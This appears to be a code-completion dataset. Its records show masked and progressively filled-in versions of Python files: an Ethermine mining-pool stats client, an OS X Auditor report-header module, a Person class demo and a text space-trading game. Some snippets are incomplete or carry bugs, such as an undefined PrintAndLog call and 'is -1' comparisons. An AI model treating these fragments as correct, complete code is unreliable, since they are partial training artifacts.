self.salary = 0
def greet(self):
print("Hello ", self.name)
def greetByTime(self, time="Morning"):
print("Hello", self.name, " . ", time)
print("Accessing Static Variable", Person.alive)
p = Person("John", 30, "Male")
print("\n\nAccessing Functions \n\n")
p.greet()
p.greetByTime()
p.greetByTime("Goodnight")
print("\n\nAccessing Variables \n\n")
print(p.name, p.age, p.gender)
| [
4,
5,
6,
7,
9
] |
9,958 | 921c7255fad46c767f2ec1030ef9498da05b9bb1 | <mask token>
class EtherminePool(BasePool):
<mask token>
<mask token>
<mask token>
<mask token>
def build_creation_parameters(self, pool, pool_attrs, pool_classname):
params = super(EtherminePool, self).build_creation_parameters(pool,
pool_attrs, pool_classname)
server_location = 'US'
if pool.startswith('eu1.etc') or pool.startswith('eu1.eth'):
server_location = 'Europe'
elif pool.startswith('us1-etc'):
server_location = 'US'
elif pool.startswith('us1.eth'):
server_location = 'US East'
elif pool.startswith('us2.eth'):
server_location = 'US West'
elif pool.startswith('asia1.eth'):
server_location = 'Asia'
params['unique_id'
] = 'ETHERMINE - ' + server_location + ' (' + self._DEFAULT_COIN_ + ')'
return params
<mask token>
def get_worker_stats(self, miner, worker):
url = self._MINER_URL_PER_WORKER.replace('{MINER}', self.
_clean_coin_address(miner)).replace('{WORKER}', worker)
api = RestAPI(url=url, port=80)
return api.get_json()
def get_miner_stats(self, miner):
url = self._MINER_URL_PER_MINER.replace('{MINER}', self.
_clean_coin_address(miner))
api = RestAPI(url=url, port=80)
return api.get_json()
def get_pool_stats(self, results, miner, worker, algo, pool_id, pool_url):
if algo == 'ethash':
algo_idx = get_algo_index('daggerhashimoto')
else:
algo_idx = get_algo_index(algo)
if algo_idx is -1:
return False
coin_idx = get_coin_index(self._DEFAULT_COIN_)
coin_cost = get_coin_cost(self._DEFAULT_COIN_, 'USD')
success = False
json = self.get_worker_stats(miner, worker)
if json:
success = self.parse_json(json, results, miner, worker, pool_id,
algo, algo_idx, coin_idx, coin_cost)
return success
def parse_json(self, json, results, miner, worker, pool, algo, algo_idx,
coin_idx, coin_cost):
record = json['data']
if record == 'NO DATA':
miner_coin_idx = None
if hasattr(miner, 'coin_idx'):
miner_coin_idx = miner.coin
if miner_coin_idx is None or miner_coin_idx != coin_idx:
miner.coin_address = ''
return False
speed_suffix = 'H'
try:
speed_accepted = float(record['currentHashrate'])
except:
speed_accepted = 0.0
try:
speed_reported = float(record['reportedHashrate'])
except:
speed_reported = None
json_miner_stats = self.get_miner_stats(miner)
record_miner_stats = json_miner_stats['data']
try:
coins_per_minute = float(record_miner_stats['coinsPerMin'])
except:
coins_per_minute = 0.0
try:
active_workers = float(record_miner_stats['activeWorkers'])
except:
active_workers = 1
profitability = coins_per_minute * (60 * 24
) / speed_accepted / active_workers
results.populate_pool_results(miner, worker, pool, algo, algo_idx,
coin_idx, coin_cost, profitability, speed_accepted,
speed_reported, speed_suffix)
return True
| <mask token>
class EtherminePool(BasePool):
<mask token>
<mask token>
<mask token>
def __init__(self, pool, pool_attrs):
super(EtherminePool, self).__init__(pool, pool_attrs)
def build_creation_parameters(self, pool, pool_attrs, pool_classname):
params = super(EtherminePool, self).build_creation_parameters(pool,
pool_attrs, pool_classname)
server_location = 'US'
if pool.startswith('eu1.etc') or pool.startswith('eu1.eth'):
server_location = 'Europe'
elif pool.startswith('us1-etc'):
server_location = 'US'
elif pool.startswith('us1.eth'):
server_location = 'US East'
elif pool.startswith('us2.eth'):
server_location = 'US West'
elif pool.startswith('asia1.eth'):
server_location = 'Asia'
params['unique_id'
] = 'ETHERMINE - ' + server_location + ' (' + self._DEFAULT_COIN_ + ')'
return params
<mask token>
def get_worker_stats(self, miner, worker):
url = self._MINER_URL_PER_WORKER.replace('{MINER}', self.
_clean_coin_address(miner)).replace('{WORKER}', worker)
api = RestAPI(url=url, port=80)
return api.get_json()
def get_miner_stats(self, miner):
url = self._MINER_URL_PER_MINER.replace('{MINER}', self.
_clean_coin_address(miner))
api = RestAPI(url=url, port=80)
return api.get_json()
def get_pool_stats(self, results, miner, worker, algo, pool_id, pool_url):
if algo == 'ethash':
algo_idx = get_algo_index('daggerhashimoto')
else:
algo_idx = get_algo_index(algo)
if algo_idx is -1:
return False
coin_idx = get_coin_index(self._DEFAULT_COIN_)
coin_cost = get_coin_cost(self._DEFAULT_COIN_, 'USD')
success = False
json = self.get_worker_stats(miner, worker)
if json:
success = self.parse_json(json, results, miner, worker, pool_id,
algo, algo_idx, coin_idx, coin_cost)
return success
def parse_json(self, json, results, miner, worker, pool, algo, algo_idx,
coin_idx, coin_cost):
record = json['data']
if record == 'NO DATA':
miner_coin_idx = None
if hasattr(miner, 'coin_idx'):
miner_coin_idx = miner.coin
if miner_coin_idx is None or miner_coin_idx != coin_idx:
miner.coin_address = ''
return False
speed_suffix = 'H'
try:
speed_accepted = float(record['currentHashrate'])
except:
speed_accepted = 0.0
try:
speed_reported = float(record['reportedHashrate'])
except:
speed_reported = None
json_miner_stats = self.get_miner_stats(miner)
record_miner_stats = json_miner_stats['data']
try:
coins_per_minute = float(record_miner_stats['coinsPerMin'])
except:
coins_per_minute = 0.0
try:
active_workers = float(record_miner_stats['activeWorkers'])
except:
active_workers = 1
profitability = coins_per_minute * (60 * 24
) / speed_accepted / active_workers
results.populate_pool_results(miner, worker, pool, algo, algo_idx,
coin_idx, coin_cost, profitability, speed_accepted,
speed_reported, speed_suffix)
return True
| <mask token>
class EtherminePool(BasePool):
<mask token>
<mask token>
<mask token>
def __init__(self, pool, pool_attrs):
super(EtherminePool, self).__init__(pool, pool_attrs)
def build_creation_parameters(self, pool, pool_attrs, pool_classname):
params = super(EtherminePool, self).build_creation_parameters(pool,
pool_attrs, pool_classname)
server_location = 'US'
if pool.startswith('eu1.etc') or pool.startswith('eu1.eth'):
server_location = 'Europe'
elif pool.startswith('us1-etc'):
server_location = 'US'
elif pool.startswith('us1.eth'):
server_location = 'US East'
elif pool.startswith('us2.eth'):
server_location = 'US West'
elif pool.startswith('asia1.eth'):
server_location = 'Asia'
params['unique_id'
] = 'ETHERMINE - ' + server_location + ' (' + self._DEFAULT_COIN_ + ')'
return params
def _clean_coin_address(self, miner):
coin_address = miner.coin_address.lower()
if coin_address.startswith('0x'):
coin_address = coin_address[2:]
elif coin_address.startswith('#0x'):
coin_address = coin_address[3:]
return coin_address
def get_worker_stats(self, miner, worker):
url = self._MINER_URL_PER_WORKER.replace('{MINER}', self.
_clean_coin_address(miner)).replace('{WORKER}', worker)
api = RestAPI(url=url, port=80)
return api.get_json()
def get_miner_stats(self, miner):
url = self._MINER_URL_PER_MINER.replace('{MINER}', self.
_clean_coin_address(miner))
api = RestAPI(url=url, port=80)
return api.get_json()
def get_pool_stats(self, results, miner, worker, algo, pool_id, pool_url):
if algo == 'ethash':
algo_idx = get_algo_index('daggerhashimoto')
else:
algo_idx = get_algo_index(algo)
if algo_idx is -1:
return False
coin_idx = get_coin_index(self._DEFAULT_COIN_)
coin_cost = get_coin_cost(self._DEFAULT_COIN_, 'USD')
success = False
json = self.get_worker_stats(miner, worker)
if json:
success = self.parse_json(json, results, miner, worker, pool_id,
algo, algo_idx, coin_idx, coin_cost)
return success
def parse_json(self, json, results, miner, worker, pool, algo, algo_idx,
coin_idx, coin_cost):
record = json['data']
if record == 'NO DATA':
miner_coin_idx = None
if hasattr(miner, 'coin_idx'):
miner_coin_idx = miner.coin
if miner_coin_idx is None or miner_coin_idx != coin_idx:
miner.coin_address = ''
return False
speed_suffix = 'H'
try:
speed_accepted = float(record['currentHashrate'])
except:
speed_accepted = 0.0
try:
speed_reported = float(record['reportedHashrate'])
except:
speed_reported = None
json_miner_stats = self.get_miner_stats(miner)
record_miner_stats = json_miner_stats['data']
try:
coins_per_minute = float(record_miner_stats['coinsPerMin'])
except:
coins_per_minute = 0.0
try:
active_workers = float(record_miner_stats['activeWorkers'])
except:
active_workers = 1
profitability = coins_per_minute * (60 * 24
) / speed_accepted / active_workers
results.populate_pool_results(miner, worker, pool, algo, algo_idx,
coin_idx, coin_cost, profitability, speed_accepted,
speed_reported, speed_suffix)
return True
| <mask token>
class EtherminePool(BasePool):
_MINER_URL_PER_WORKER = (
'https://api.ethermine.org/miner/:{MINER}/worker/:{WORKER}/currentStats'
)
_MINER_URL_PER_MINER = (
'https://api.ethermine.org/miner/:{MINER}/currentStats')
_DEFAULT_COIN_ = 'ETH'
def __init__(self, pool, pool_attrs):
super(EtherminePool, self).__init__(pool, pool_attrs)
def build_creation_parameters(self, pool, pool_attrs, pool_classname):
params = super(EtherminePool, self).build_creation_parameters(pool,
pool_attrs, pool_classname)
server_location = 'US'
if pool.startswith('eu1.etc') or pool.startswith('eu1.eth'):
server_location = 'Europe'
elif pool.startswith('us1-etc'):
server_location = 'US'
elif pool.startswith('us1.eth'):
server_location = 'US East'
elif pool.startswith('us2.eth'):
server_location = 'US West'
elif pool.startswith('asia1.eth'):
server_location = 'Asia'
params['unique_id'
] = 'ETHERMINE - ' + server_location + ' (' + self._DEFAULT_COIN_ + ')'
return params
def _clean_coin_address(self, miner):
coin_address = miner.coin_address.lower()
if coin_address.startswith('0x'):
coin_address = coin_address[2:]
elif coin_address.startswith('#0x'):
coin_address = coin_address[3:]
return coin_address
def get_worker_stats(self, miner, worker):
url = self._MINER_URL_PER_WORKER.replace('{MINER}', self.
_clean_coin_address(miner)).replace('{WORKER}', worker)
api = RestAPI(url=url, port=80)
return api.get_json()
def get_miner_stats(self, miner):
url = self._MINER_URL_PER_MINER.replace('{MINER}', self.
_clean_coin_address(miner))
api = RestAPI(url=url, port=80)
return api.get_json()
def get_pool_stats(self, results, miner, worker, algo, pool_id, pool_url):
if algo == 'ethash':
algo_idx = get_algo_index('daggerhashimoto')
else:
algo_idx = get_algo_index(algo)
if algo_idx is -1:
return False
coin_idx = get_coin_index(self._DEFAULT_COIN_)
coin_cost = get_coin_cost(self._DEFAULT_COIN_, 'USD')
success = False
json = self.get_worker_stats(miner, worker)
if json:
success = self.parse_json(json, results, miner, worker, pool_id,
algo, algo_idx, coin_idx, coin_cost)
return success
def parse_json(self, json, results, miner, worker, pool, algo, algo_idx,
coin_idx, coin_cost):
record = json['data']
if record == 'NO DATA':
miner_coin_idx = None
if hasattr(miner, 'coin_idx'):
miner_coin_idx = miner.coin
if miner_coin_idx is None or miner_coin_idx != coin_idx:
miner.coin_address = ''
return False
speed_suffix = 'H'
try:
speed_accepted = float(record['currentHashrate'])
except:
speed_accepted = 0.0
try:
speed_reported = float(record['reportedHashrate'])
except:
speed_reported = None
json_miner_stats = self.get_miner_stats(miner)
record_miner_stats = json_miner_stats['data']
try:
coins_per_minute = float(record_miner_stats['coinsPerMin'])
except:
coins_per_minute = 0.0
try:
active_workers = float(record_miner_stats['activeWorkers'])
except:
active_workers = 1
profitability = coins_per_minute * (60 * 24
) / speed_accepted / active_workers
results.populate_pool_results(miner, worker, pool, algo, algo_idx,
coin_idx, coin_cost, profitability, speed_accepted,
speed_reported, speed_suffix)
return True
| # ethermine.py, Copyright (c) 2019, Nicholas Saparoff <[email protected]>: Original implementation
from minermedic.pools.base_pool import BasePool
from phenome_core.util.rest_api import RestAPI
from minermedic.pools.helper import get_algo_index, get_coin_index, get_coin_cost
"""
EtherminePool
This is the main Pool API for Ethermine.
SEE: https://ethermine.org/api/worker#monitoring
"""
class EtherminePool(BasePool):
# PER WORKER
_MINER_URL_PER_WORKER = "https://api.ethermine.org/miner/:{MINER}/worker/:{WORKER}/currentStats"
# PER MINER
_MINER_URL_PER_MINER = "https://api.ethermine.org/miner/:{MINER}/currentStats"
# with Ethermine, the coin is Usually ETH, but could be ETC or ZCASH
_DEFAULT_COIN_ = "ETH"
def __init__(self, pool, pool_attrs):
super(EtherminePool, self).__init__(pool, pool_attrs)
def build_creation_parameters(self, pool, pool_attrs, pool_classname):
# get the default creation parameters
params = super(EtherminePool, self).build_creation_parameters(pool, pool_attrs, pool_classname)
server_location = "US"
if pool.startswith("eu1.etc") or pool.startswith("eu1.eth"):
server_location = "Europe"
elif pool.startswith("us1-etc"):
server_location = "US"
elif pool.startswith("us1.eth"):
server_location = "US East"
elif pool.startswith("us2.eth"):
server_location = "US West"
elif pool.startswith("asia1.eth"):
server_location = "Asia"
# Set the unique ID of the pool (give it a NAME, as the URL/IP may change)
# POOL - LOCATION (COIN)
params['unique_id'] = "ETHERMINE - " + server_location + " (" + self._DEFAULT_COIN_ + ")"
return params
def _clean_coin_address(self, miner):
coin_address = miner.coin_address.lower()
if coin_address.startswith('0x'):
coin_address = coin_address[2:]
elif coin_address.startswith('#0x'):
coin_address = coin_address[3:]
return coin_address
def get_worker_stats(self, miner, worker):
# build the miner URL
url = self._MINER_URL_PER_WORKER.replace("{MINER}",self._clean_coin_address(miner)).replace("{WORKER}",worker)
api = RestAPI(url=url, port=80)
return api.get_json()
def get_miner_stats(self, miner):
# build the miner URL
url = self._MINER_URL_PER_MINER.replace("{MINER}", self._clean_coin_address(miner))
api = RestAPI(url=url, port=80)
return api.get_json()
def get_pool_stats(self, results, miner, worker, algo, pool_id, pool_url):
if algo == 'ethash':
algo_idx = get_algo_index('daggerhashimoto')
else:
algo_idx = get_algo_index(algo)
if algo_idx is -1:
return False
coin_idx = get_coin_index(self._DEFAULT_COIN_)
# get the cost of the coin
# TODO - get the currency from the config, do not assume USD
coin_cost = get_coin_cost(self._DEFAULT_COIN_,'USD')
success = False
json = self.get_worker_stats(miner, worker)
if json:
success = self.parse_json(json, results, miner, worker, pool_id, algo, algo_idx, coin_idx, coin_cost)
return success
def parse_json(self, json, results, miner, worker, pool, algo, algo_idx, coin_idx, coin_cost):
# get the record
record = json['data']
if record == 'NO DATA':
# check coin switch?
miner_coin_idx = None
if hasattr(miner, 'coin_idx'):
# we have been mining so far
miner_coin_idx = miner.coin
if miner_coin_idx is None or miner_coin_idx != coin_idx:
# reset the coin address, maybe switched coin
miner.coin_address = ''
# no data, just fail
return False
# API call results, speed is in units of Hashes
speed_suffix = 'H'
try:
# get accepted hashrate
speed_accepted = float(record['currentHashrate'])
except:
speed_accepted = 0.0
try:
# get "reported" hashrate
speed_reported = float(record['reportedHashrate'])
except:
speed_reported = None
# now get the miner stats for profitability
json_miner_stats = self.get_miner_stats(miner)
# get the record
record_miner_stats = json_miner_stats['data']
try:
coins_per_minute = float(record_miner_stats['coinsPerMin'])
except:
coins_per_minute = 0.0
try:
active_workers = float(record_miner_stats['activeWorkers'])
except:
active_workers = 1
# profitability is a measure of COIN / speed suffix / per DAY
# ETHERMINE only gives coin estimates per MINER per MINUTE, not per WORKER
# so we need to average it out by dividing by the # of active workers
profitability = ((coins_per_minute * (60 * 24))/speed_accepted)/active_workers
# finally set the API results into the main results object
results.populate_pool_results(miner, worker, pool, algo, algo_idx, coin_idx, coin_cost, profitability,
speed_accepted, speed_reported, speed_suffix)
# if we got here, we were successful
return True
| [
6,
7,
8,
9,
11
] |
9,959 | 547d67bce7eb05e55e02c73a22342ca572e89f39 | <mask token>
def GetAuditedSystemVersion():
global OSX_VERSION
SysVersion = 'Unknown system version'
SystemVersionPlist = False
SystemVersionPlist = core.UniversalReadPlist(
'/System/Library/CoreServices/SystemVersion.plist')
if SystemVersionPlist:
if 'ProductName' in SystemVersionPlist:
SysVersion = SystemVersionPlist['ProductName']
if 'ProductVersion' in SystemVersionPlist:
SysVersion += ' ' + SystemVersionPlist['ProductVersion']
if 'ProductBuildVersion' in SystemVersionPlist:
SysVersion += ' build ' + SystemVersionPlist['ProductBuildVersion']
OSX_VERSION = {'ProductBuildVersion': SystemVersionPlist[
'ProductBuildVersion'], 'ProductVersion': SystemVersionPlist[
'ProductVersion'], 'MajorVersion': int(SystemVersionPlist[
'ProductVersion'].split('.')[0]), 'MinorVersion': int(
SystemVersionPlist['ProductVersion'].split('.')[1]),
'PatchVersion': int(SystemVersionPlist['ProductVersion'].split(
'.')[2])}
else:
log.PrintAndLog(u'Cannot determine the system version', 'ERROR')
return SysVersion
def GetAuditedSystemTimezone():
""" Return the current system timezone """
Timezone = False
try:
Timezone = os.path.realpath(os.path.join(ROOT_PATH, 'etc/localtime'))
Timezone = Timezone.split('/')
except Exception as e:
PrintAndLog(u'Cannot read the timezone' + str(e.args).decode(
'utf-8'), 'ERROR')
return Timezone[-2] + '/' + Timezone[-1]
| <mask token>
def generate_header():
header = {}
description = ('Report generated by ' + __description__ + ' v' +
__version__ + ' on ' + time.strftime('%x %X %Z') + ' running as ' +
Euid + '/' + Egid)
header['description'] = description
audit_path = 'Audited system path: ' + ROOT_PATH.decode('utf-8')
header['audit_path'] = audit_path
AuditedSystemVersion = GetAuditedSystemVersion()
sysv = 'Version of the audited system: ' + AuditedSystemVersion
header['system_version'] = sysv
Timezone = GetAuditedSystemTimezone()
tz = 'Current timezone of the audited system: ' + Timezone
header['timezone'] = tz
return header
def GetAuditedSystemVersion():
global OSX_VERSION
SysVersion = 'Unknown system version'
SystemVersionPlist = False
SystemVersionPlist = core.UniversalReadPlist(
'/System/Library/CoreServices/SystemVersion.plist')
if SystemVersionPlist:
if 'ProductName' in SystemVersionPlist:
SysVersion = SystemVersionPlist['ProductName']
if 'ProductVersion' in SystemVersionPlist:
SysVersion += ' ' + SystemVersionPlist['ProductVersion']
if 'ProductBuildVersion' in SystemVersionPlist:
SysVersion += ' build ' + SystemVersionPlist['ProductBuildVersion']
OSX_VERSION = {'ProductBuildVersion': SystemVersionPlist[
'ProductBuildVersion'], 'ProductVersion': SystemVersionPlist[
'ProductVersion'], 'MajorVersion': int(SystemVersionPlist[
'ProductVersion'].split('.')[0]), 'MinorVersion': int(
SystemVersionPlist['ProductVersion'].split('.')[1]),
'PatchVersion': int(SystemVersionPlist['ProductVersion'].split(
'.')[2])}
else:
log.PrintAndLog(u'Cannot determine the system version', 'ERROR')
return SysVersion
def GetAuditedSystemTimezone():
""" Return the current system timezone """
Timezone = False
try:
Timezone = os.path.realpath(os.path.join(ROOT_PATH, 'etc/localtime'))
Timezone = Timezone.split('/')
except Exception as e:
PrintAndLog(u'Cannot read the timezone' + str(e.args).decode(
'utf-8'), 'ERROR')
return Timezone[-2] + '/' + Timezone[-1]
| <mask token>
__description__ = 'OS X Auditor'
__author__ = 'Atarimaster & @Jipe_'
__version__ = '0.5.0'
ROOT_PATH = '/'
Euid = str(os.geteuid())
Egid = str(os.getegid())
def generate_header():
header = {}
description = ('Report generated by ' + __description__ + ' v' +
__version__ + ' on ' + time.strftime('%x %X %Z') + ' running as ' +
Euid + '/' + Egid)
header['description'] = description
audit_path = 'Audited system path: ' + ROOT_PATH.decode('utf-8')
header['audit_path'] = audit_path
AuditedSystemVersion = GetAuditedSystemVersion()
sysv = 'Version of the audited system: ' + AuditedSystemVersion
header['system_version'] = sysv
Timezone = GetAuditedSystemTimezone()
tz = 'Current timezone of the audited system: ' + Timezone
header['timezone'] = tz
return header
def GetAuditedSystemVersion():
global OSX_VERSION
SysVersion = 'Unknown system version'
SystemVersionPlist = False
SystemVersionPlist = core.UniversalReadPlist(
'/System/Library/CoreServices/SystemVersion.plist')
if SystemVersionPlist:
if 'ProductName' in SystemVersionPlist:
SysVersion = SystemVersionPlist['ProductName']
if 'ProductVersion' in SystemVersionPlist:
SysVersion += ' ' + SystemVersionPlist['ProductVersion']
if 'ProductBuildVersion' in SystemVersionPlist:
SysVersion += ' build ' + SystemVersionPlist['ProductBuildVersion']
OSX_VERSION = {'ProductBuildVersion': SystemVersionPlist[
'ProductBuildVersion'], 'ProductVersion': SystemVersionPlist[
'ProductVersion'], 'MajorVersion': int(SystemVersionPlist[
'ProductVersion'].split('.')[0]), 'MinorVersion': int(
SystemVersionPlist['ProductVersion'].split('.')[1]),
'PatchVersion': int(SystemVersionPlist['ProductVersion'].split(
'.')[2])}
else:
log.PrintAndLog(u'Cannot determine the system version', 'ERROR')
return SysVersion
def GetAuditedSystemTimezone():
""" Return the current system timezone """
Timezone = False
try:
Timezone = os.path.realpath(os.path.join(ROOT_PATH, 'etc/localtime'))
Timezone = Timezone.split('/')
except Exception as e:
PrintAndLog(u'Cannot read the timezone' + str(e.args).decode(
'utf-8'), 'ERROR')
return Timezone[-2] + '/' + Timezone[-1]
| import os
import log
import core
import time
__description__ = 'OS X Auditor'
__author__ = 'Atarimaster & @Jipe_'
__version__ = '0.5.0'
ROOT_PATH = '/'
Euid = str(os.geteuid())
Egid = str(os.getegid())
def generate_header():
header = {}
description = ('Report generated by ' + __description__ + ' v' +
__version__ + ' on ' + time.strftime('%x %X %Z') + ' running as ' +
Euid + '/' + Egid)
header['description'] = description
audit_path = 'Audited system path: ' + ROOT_PATH.decode('utf-8')
header['audit_path'] = audit_path
AuditedSystemVersion = GetAuditedSystemVersion()
sysv = 'Version of the audited system: ' + AuditedSystemVersion
header['system_version'] = sysv
Timezone = GetAuditedSystemTimezone()
tz = 'Current timezone of the audited system: ' + Timezone
header['timezone'] = tz
return header
def GetAuditedSystemVersion():
global OSX_VERSION
SysVersion = 'Unknown system version'
SystemVersionPlist = False
SystemVersionPlist = core.UniversalReadPlist(
'/System/Library/CoreServices/SystemVersion.plist')
if SystemVersionPlist:
if 'ProductName' in SystemVersionPlist:
SysVersion = SystemVersionPlist['ProductName']
if 'ProductVersion' in SystemVersionPlist:
SysVersion += ' ' + SystemVersionPlist['ProductVersion']
if 'ProductBuildVersion' in SystemVersionPlist:
SysVersion += ' build ' + SystemVersionPlist['ProductBuildVersion']
OSX_VERSION = {'ProductBuildVersion': SystemVersionPlist[
'ProductBuildVersion'], 'ProductVersion': SystemVersionPlist[
'ProductVersion'], 'MajorVersion': int(SystemVersionPlist[
'ProductVersion'].split('.')[0]), 'MinorVersion': int(
SystemVersionPlist['ProductVersion'].split('.')[1]),
'PatchVersion': int(SystemVersionPlist['ProductVersion'].split(
'.')[2])}
else:
log.PrintAndLog(u'Cannot determine the system version', 'ERROR')
return SysVersion
def GetAuditedSystemTimezone():
""" Return the current system timezone """
Timezone = False
try:
Timezone = os.path.realpath(os.path.join(ROOT_PATH, 'etc/localtime'))
Timezone = Timezone.split('/')
except Exception as e:
PrintAndLog(u'Cannot read the timezone' + str(e.args).decode(
'utf-8'), 'ERROR')
return Timezone[-2] + '/' + Timezone[-1]
| import os
import log
import core
import time
__description__ = 'OS X Auditor'
__author__ = 'Atarimaster & @Jipe_'
__version__ = '0.5.0'
ROOT_PATH = '/'
Euid = str(os.geteuid())
Egid = str(os.getegid())
def generate_header():
header = {}
# Description(Audited By)
description = "Report generated by " + __description__ + " v" + __version__ + " on " + time.strftime('%x %X %Z') + " running as " + Euid + "/" + Egid
header['description'] = description
# Audited Path
audit_path = "Audited system path: " + ROOT_PATH.decode("utf-8")
header['audit_path'] = audit_path
# System Version
AuditedSystemVersion = GetAuditedSystemVersion()
sysv = "Version of the audited system: " + AuditedSystemVersion
header['system_version'] = sysv
# Current Timezone
Timezone = GetAuditedSystemTimezone()
tz = "Current timezone of the audited system: " + Timezone
header['timezone'] = tz
return header
def GetAuditedSystemVersion():
global OSX_VERSION
SysVersion = "Unknown system version"
SystemVersionPlist = False
SystemVersionPlist = core.UniversalReadPlist("/System/Library/CoreServices/SystemVersion.plist")
if SystemVersionPlist:
if "ProductName" in SystemVersionPlist: SysVersion = SystemVersionPlist["ProductName"]
if "ProductVersion" in SystemVersionPlist: SysVersion += " " + SystemVersionPlist["ProductVersion"]
if "ProductBuildVersion" in SystemVersionPlist: SysVersion += " build " + SystemVersionPlist["ProductBuildVersion"]
OSX_VERSION = {
"ProductBuildVersion": SystemVersionPlist["ProductBuildVersion"],
"ProductVersion": SystemVersionPlist["ProductVersion"],
"MajorVersion": int(SystemVersionPlist["ProductVersion"].split('.')[0]),
"MinorVersion": int(SystemVersionPlist["ProductVersion"].split('.')[1]),
"PatchVersion": int(SystemVersionPlist["ProductVersion"].split('.')[2])
}
else:
log.PrintAndLog(u"Cannot determine the system version", "ERROR")
return SysVersion
def GetAuditedSystemTimezone():
""" Return the current system timezone """
Timezone = False
try:
Timezone = os.path.realpath(os.path.join(ROOT_PATH, "etc/localtime"))
Timezone = Timezone.split("/")
except Exception as e:
PrintAndLog(u"Cannot read the timezone" + str(e.args).decode("utf-8"), "ERROR")
return Timezone[-2] + "/" + Timezone[-1] | [
2,
3,
4,
5,
6
] |
9,960 | 97611fef5faafe660c7640e4a5aec8456e52135c | <mask token>
def shipyardMenu(player, planet):
while True:
cleanScreen()
print('*****W*E*L*C*O*M*E****T*O****T*H*E****S*H*I*P*Y*A*R*D*****')
player.printStats()
print('**********************************************************')
shipList = planet.getShipyard()
print('Available Ships:')
print('**********************************************************')
i = 0
for s in shipList:
print('Nr.:' + str(i) + ':' + s.toString())
i += 1
print('**********************************************************')
userInput = input(
'Enter the number you would like to by or x to leave:')
if userInput == 'x':
break
else:
ui = int(userInput)
if ui <= i:
if player.getCredits() > shipList[ui].getPrice():
if type(shipList[ui]) == FighterShip:
player.addFighterShip(shipList[ui])
player.updateFirePower()
else:
player.addCargoShip(shipList[ui])
player.updateCargoUnits()
player.setCredits(player.getCredits() - shipList[ui].
getPrice())
player.updateMaintenance()
del shipList[ui]
else:
print('wrong number, try again ....')
def spacePortMenu(player, planet):
global turnCounter
while True:
cleanScreen()
print('****W*E*L*C*O*M*E****T*O****T*H*E****S*P*A*C*E*P*O*R*T****')
print('Enter 1 to jump to a agri planet (risk 5%)')
print('Enter 2 to jump to a tech planet (risk 10%)')
print('Enter 3 to jump to a war planet (risk 20%)')
userInput = input('Or enter x to exit:')
risk = 0
if userInput == 'x':
return planet
elif userInput == '1':
risk = 5
elif userInput == '2':
risk = 10
else:
risk = 20
if random.randint(0, 100) <= risk:
spacePirates(player)
player.setCredits(player.getCredits() - player.getTotalMaintenance())
turnCounter += 1
return Planet.Planet(int(userInput))
def marketMenu(player, planet):
while True:
cleanScreen()
print('*******W*E*L*C*O*M*E****T*O****T*H*E****M*A*R*K*E*T*******')
player.printStats()
print('**********************************************************')
market = planet.getMarket()
print('Price for Food = ', market['Food'])
print('Price for Tech = ', market['Tech'])
print('**********************************************************')
userInput = input('Enter 1 for Food, 2 for Tech or x for exit:')
str = ''
if userInput == '1':
str = 'Food'
elif userInput == '2':
str = 'Tech'
else:
break
print('**********************************************************')
max = 0
if market[str] * player.freeCargoUnits <= player.getCredits():
max = player.freeCargoUnits
else:
max = int(player.getCredits() / market[str])
print('Price for ' + str + ' = ', market[str])
secondInput = input(
'Would you like to buy (enter b) or sell (enter s)?')
if secondInput == 'b':
print('You can buy a maximum of', max, 'units')
nr = input('How much would you like to buy? Or press x to exit')
if nr == 'x':
pass
else:
nr = int(nr)
if player.getCredits() > market[str] * nr and nr <= max:
if str == 'Food':
player.addFood(nr)
else:
player.addTech(nr)
player.setCredits(player.getCredits() - market[str] * nr)
player.updateCargoUnits()
elif str == 'Food':
print('You can sell a maximum of', player.getFood(), 'food units')
nr = input('How much would you like to sell? Or press x to exit')
if nr == 'x':
pass
else:
nr = int(nr)
if nr <= player.getFood():
player.sellFood(nr)
player.setCredits(player.getCredits() + nr * market['Food']
)
else:
print('You can sell a maximum of', player.getTech(), 'tech units')
nr = input('How much would you like to sell? Or press x to exit')
if nr == 'x':
pass
else:
nr = int(nr)
if nr <= player.getTech():
player.sellTech(nr)
player.setCredits(player.getCredits() + nr * market['Tech']
)
def menu(player):
global turnCounter
notFinished = True
planet = Planet.Planet(random.randint(1, 3))
while notFinished:
cleanScreen()
if player.getCredits() < 0:
print(
'Sorry, but you ran out of credits and therefore lost the game in round,'
, turnCounter, '!')
break
print('**********************************************************')
print('Turn nr.', turnCounter,
'in this glorious space trading simulation')
player.printStats()
print('**********************************************************')
print('You are on Planet:', planet.getName())
print('**********************************************************')
print('Enter 1 to go to the shipyard')
print('Enter 2 to go to the market')
print('Enter 3 to go to the spaceport')
print('Enter exit to leave the game')
userinput = input('Your Input:')
if userinput == '1':
shipyardMenu(player, planet)
elif userinput == '2':
marketMenu(player, planet)
elif userinput == '3':
planet = spacePortMenu(player, planet)
else:
notFinished = False
<mask token>
| <mask token>
def cleanScreen():
for i in range(0, 50):
print('')
<mask token>
def shipyardMenu(player, planet):
while True:
cleanScreen()
print('*****W*E*L*C*O*M*E****T*O****T*H*E****S*H*I*P*Y*A*R*D*****')
player.printStats()
print('**********************************************************')
shipList = planet.getShipyard()
print('Available Ships:')
print('**********************************************************')
i = 0
for s in shipList:
print('Nr.:' + str(i) + ':' + s.toString())
i += 1
print('**********************************************************')
userInput = input(
'Enter the number you would like to by or x to leave:')
if userInput == 'x':
break
else:
ui = int(userInput)
if ui <= i:
if player.getCredits() > shipList[ui].getPrice():
if type(shipList[ui]) == FighterShip:
player.addFighterShip(shipList[ui])
player.updateFirePower()
else:
player.addCargoShip(shipList[ui])
player.updateCargoUnits()
player.setCredits(player.getCredits() - shipList[ui].
getPrice())
player.updateMaintenance()
del shipList[ui]
else:
print('wrong number, try again ....')
def spacePortMenu(player, planet):
global turnCounter
while True:
cleanScreen()
print('****W*E*L*C*O*M*E****T*O****T*H*E****S*P*A*C*E*P*O*R*T****')
print('Enter 1 to jump to a agri planet (risk 5%)')
print('Enter 2 to jump to a tech planet (risk 10%)')
print('Enter 3 to jump to a war planet (risk 20%)')
userInput = input('Or enter x to exit:')
risk = 0
if userInput == 'x':
return planet
elif userInput == '1':
risk = 5
elif userInput == '2':
risk = 10
else:
risk = 20
if random.randint(0, 100) <= risk:
spacePirates(player)
player.setCredits(player.getCredits() - player.getTotalMaintenance())
turnCounter += 1
return Planet.Planet(int(userInput))
def marketMenu(player, planet):
while True:
cleanScreen()
print('*******W*E*L*C*O*M*E****T*O****T*H*E****M*A*R*K*E*T*******')
player.printStats()
print('**********************************************************')
market = planet.getMarket()
print('Price for Food = ', market['Food'])
print('Price for Tech = ', market['Tech'])
print('**********************************************************')
